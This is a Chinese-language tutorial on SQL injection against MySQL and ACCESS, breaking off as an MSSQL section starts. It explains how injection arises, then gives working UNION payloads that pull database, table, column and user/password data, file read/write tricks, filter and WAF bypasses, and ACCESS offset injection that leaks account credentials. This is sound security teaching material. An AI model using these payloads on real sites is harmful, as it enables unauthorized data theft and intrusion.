SQL注入
产生原理
- 参数的传递
- 数据的接收
- 数据的交互
- 数据库的执行
这四个步骤处理不当时,会产生注入点
通过参数传递一个数据,传入的数据直接拼接到之前定义好的SQL语句中,由于未作过滤,可以将一些传递恶意SQL进行拼接,达到执行恶意SQL语句的效果
产生条件
- 可控变量
- 可控变量带入数据库查询
- 变量无过滤或过滤不严谨
危害
可以对数据库进行增、删、改、查等操作
一定条件情况下可以通过注入点直接获取权限
数据库类型
MySQL
注入点
?example and 1=1 页面正常
?example and 1=2 页面错误
则变量example可能存在注入点
找出注入点后,通过 order by x 获取表的列数
得到列数后,通过 union select 1,2,3,…,x 找出显示位
在显示位中插入SQL语句进行注入
信息收集
数据库版本:version()
数据库名:database()
数据库用户:user()
操作系统:@@version_compile_os
数据注入
低版本
MySQL版本低于5.0,一般通过字典暴力破解,或通过文件读取收集路径信息
高版本
在高于MySQL5.0的版本中,默认定义了information_schema数据库,用来存储数据库元信息,其中有表schemata,table和column
- schemata表中,使用了schema_name字段存储数据库名
- table表中,分别用table_schema和table_name字段存储数据库名和表名
- column表中,则有table_schema,table_name和column_name
高权限注入
跨库查询
利用information_schema数据库,获取其他数据库的信息,实现跨库查询
获取所有数据库名:union select 1,group_concat(schema_name),3,4 from information_schema.schemata
查询指定数据库的表名信息:union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’
example_database_name
’查询指定表的列名信息:union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=’
example_database_name
’ and table_name=’example_table_name
’查询指定表指定数据: union select 1,user,password,4 from
example_database_name.example_table_name
跨库查询的必要条件是用户为root权限
普通用户大概率无权限对其他数据库进行操作
文件读写
load_file() :读
into outfile 或 into dumpfile :写
select load_file(‘C:/test.txt’)
select ‘x’ into outfile ‘D:/test.txt’
常见读写路径获取方法
- 报错显示:网站报错时会显示报错处路径
- 遗留文件:phpinfo.php、php.php、test.php等文件,通过扫描得到
- 路径爆破:知道搭建网站用的程序,可以搜索程序相关路径,进行爆破
- 平台配置文件:读取搭建平台的配置文件
常见读取文件列表
防注入手段
魔术引号
PHP在开启魔术引号的情况下,输入数据中的单引号(‘)、双引号(“)、反斜杠()与空格( )等字符会被加上反斜杠转义。PHP6中删除了这个选项
绕过方法:通过编码或宽字节绕过
内置函数
addslashes() 效果同魔术引号
is_int()、is_integer()、is_long() :输入的参数必须为整数,否则不接受。无法绕过
关键字过滤
把特定的关键字替换为空( )或把含有特定关键字的语句丢弃
绕过方法:关键字大小写、编码、双写
WAF
一般基于上述内置函数和关键字过滤,主要是关键字
MySQL身份认证绕过漏洞
ACCESS
数据库形式
ACCESS数据库没有数据库名,每个数据库单独保存在网站源码下面,注入时不需要数据库名
各个数据库互不相关,不存在跨库注入
ACCESS数据库功能少,文件读写等诸多操作不能实现
ACCSEE数据库没有 information_schema 表,只能暴力猜解
ACCESS注入
- 判断注入点
- 判断字段数
- 猜表名
union select 1,2,...,n from 猜测的表名
- 猜列名
union select 1,猜测的列名,...,n from
表名
偏移注入
由于ACCESS注入只能暴力猜测,所以常会出现猜测不出的情况
当知道表名,但是列名获取不到时,可以尝试使用偏移注入
偏移注入:根据一个较多字段的表,对一个较少字段的表进行偏移注入,一般是联合查询
假设当前使用表有16个字段,admin表有4个字段
-
猜字段数:
利用 * 代表admin表中的字段
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from admin
(页面错误)
union select 1,2,3,4,5,6,7,8,13,14,* from admin
(页面错误)
……
union select 1,2,3,4,5,6,7,8,9,10,11,12,* from admin
(页面正常)说明admin表中有 16-12=4 个字段
-
inner join连接查询:
-
一级偏移:
需要再减去4个字段,即剩下16-8=8个字段
union select 1,2,3,4,5,6,7,8,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,a.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
没有爆出重要信息,继续注入
-
若上述两种情况还是报错,或者没有爆出重要信息,则在添加一张表,进行二级偏移:
同理,还需在减去4个字段,即剩下16-12=4个字段
union select 1,2,3,4,* from ((admin as a inner join admin as?b on a.id=b.id) inner join admin as c on a.id=c.id)
爆出了账户名和密码
-
MSSQL
基础知识
MSSQL系统自带了一个master库
在每个MSSQL库中,系统都自带了一个sysobjects表
此表中有三个有用字段,NAME、XTYPE、和ID。NAME为表名信息;XTYPE代表表的类型